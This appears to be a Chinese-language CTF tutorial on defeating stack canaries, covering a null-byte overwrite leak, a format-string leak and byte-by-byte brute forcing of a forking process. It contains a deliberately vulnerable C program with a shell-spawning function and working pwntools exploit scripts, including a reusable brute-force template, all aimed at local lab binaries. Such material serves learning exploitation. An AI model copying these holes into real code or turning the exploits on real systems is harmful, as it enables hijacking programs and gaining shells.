原理
由于cannery保护就是在距离EBP一定距离的栈帧中,用于验证是否程序有构造缓冲区的危险。而cannery所在的位置一般也都在EBP-8的位置上存储着,因此 只要有机会泄露cannery的位置,我们便有机会溢出程序
泄露方式
覆盖00字节读取
原理
由于canary是在栈中的,而一般情况下为防止read、printf等函数直接读出canary的数据,canary都是以\x00
为结尾设计的。这时我们可以利用换行符在将buf填充满之后会将\x0a
覆盖至canary结尾的\x00
覆上,这样就能顺利的读出canary的数据了,之后再将cannary
-\x0a
即可得到真实的canary的数据
利用条件
存在read
/printf
等读出字符串的函数
可以两次栈溢出
- 第一次是覆盖00字节,泄露canary
- 第二次是利用canary进行攻击
示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> void getshell(void) { system("/bin/sh"); }
void init() { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); } void vuln() { char buf[100]; for(int i=0;i<2;i++){ read(0, buf, 0x200); printf(buf); } } int main(void) { init(); puts("Hello Hacker!"); vuln(); return 0; }
|
buf的大小在100字节,但是在canary保护下当输入的数据超过100字节后就会触发canary,不过当我们正好输入100个字符时,末尾自动添加的换行符\x0a
便会将canary末尾的\x00
覆盖,这样的话,程序代码中的printf(buf)
就直接能将canary的内容读取出来了,之后再减去\x0a,拿canary的值填充至栈中,即可绕过canary保护完成栈溢出。
可以看到蓝框中的便是canary,末尾已经被0a填充,此时的canary是可以被printf直接读出的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
|
from pwn import * context.terminal = ["tmux","splitw","-h"] context.log_level = "debug"
sh = process("./cover_00") elf = ELF("./cover_00")
padding = 100*"A" sh.recvuntil("Hello Hacker!\n") sh.sendline(padding) sh.recvuntil(padding) canary=u32(sh.recv(4)) canary = canary-ord('\n')
success("Canary data => 0x%x",canary) payload = padding payload += p32(canary) payload += "distance" payload += "ERet" payload += p32(elf.sym['getshell']) sh.sendline(payload) sh.interactive()
|
格式化字符串读取
原理
利用格式化字符串漏洞的任意读
由于canary的最低字节是0x00,所以不能用%s的格式当作字符串来读,而应该使用%p
或者%x
等当作一个数来读
条件
存在格式化字符串漏洞
示例
还是上面的程序,看源代码有print(buf)
一行出现了格式化字符串漏洞,我们可以试着多打印一些地址的内容,找末尾始终为00的一串数据
在第31处便是我们要寻找的canary了,可以使用%31$p
直接打印出来,之后的步骤同上一方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| from pwn import * context.terminal=['tmux',"splitw","-h"] context.log_level='debug'
sh = process("./cover_00") elf = ELF("./cover_00")
payload1 = '%'+str(31)+'$'+'p' sh.recvuntil("Hello Hacker!\n") sh.sendline(payload1) sh.recvuntil("0x") canary=int(sh.recv(8),16) success("canary => "+hex(canary)) payload2 = "a"*100 payload2 += p32(canary) payload2 += "b"*8+"b"*4 payload2 += p32(elf.sym['getshell']) sh.sendline(payload2) sh.interactive()
|
One by one 爆破猜解
原理
对于canary,虽然每次进程重启后canary会不同,但是同一个进程中的不同线程的canary却是相同的,并且通过fork函数创建的子进程中的canary也是相同的,因为fork函数会直接拷贝父进程的内存
最低位为0x00,之后逐位爆破,因此32位的话要循环3次、64位的则需要循环7次,每次从ascii码中取。
如果某一位爆破成功 如\x00\xXX
将会覆盖当前的canary末尾的这两位,使之程序认为这便是原有的canary,所以程序会继续运行,反之则会报错,由此来判断是否爆破成功(这里 愚钝的我思考了很久很久…)。
利用条件
要求程序中有fork
函数,可以使程序扩展子程序
示例
blasting_canary
IDA打开可以看到程序中有一个fork()函数再一直创建子程序, 基本步骤和上面一样,先填充100个字符占满buf之后我们一一尝试canary的前三个字节,利用不成功则崩溃的原理,我们可以写个循环挨个尝试每一位
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| from pwn import * context.terminal = ["tmux","splitw","-h"] context.log_level = 'debug' sh = process("./blasting_canary") elf = ELF("./blasting_canary") sh.recvuntil('welcome\n') canary = '\x00' for k in range(3): for i in range(256): print "------------- No." + str(k) + ":" + chr(i)+" -------------" sh.send('a'*100 + canary + chr(i)) recv = sh.recvuntil("welcome\n") print recv if "sucess" in recv: canary += chr(i) success("canary =>"+canary) break getshell = 0x0804863B payload = 'A' * 100 + canary + 'A' * 12 + p32(getshell) sh.send(payload) sh.interactive()
|
模板
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| from pwn import * context.terminal = ["tmux","splitw","-h"] context.log_level = 'debug'
bin_elf = "./blasting_canary"
sh = process(bin_elf) elf = ELF(bin_elf)
def blasting(offset,input_prompt): sh.recvuntil(input_prompt+'\n') canary = '\x00' for k in range(3): for i in range(256): success("Canary ->"+canary) print "\n------------- No." + str(k) + ":" + chr(i)+" -------------" sh.send('A'*offset + canary + chr(i)) recv = sh.recvuntil(input_prompt+"\n") print "----"+recv if "stack smashing detected" in recv: continue else: canary += chr(i) success("Canary =>"+canary) break return canary
canary = blasting(100,"welcome") payload = 'A' * 100 + canary + 'A' * 12 + p32(0x0804863B) sh.send(payload) sh.interactive()
|
学习参考
https://blog.csdn.net/chennbnbnb/article/details/103968714
https://blog.csdn.net/AcSuccess/article/details/104119680?utm_medium=distribute.pc_relevant_t0.none-task-blog-blogcommendfrommachinelearnpai2-1.nonecase&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-blogcommendfrommachinelearnpai2-1.nonecase
https://www.52pojie.cn/thread-932096-1-1.html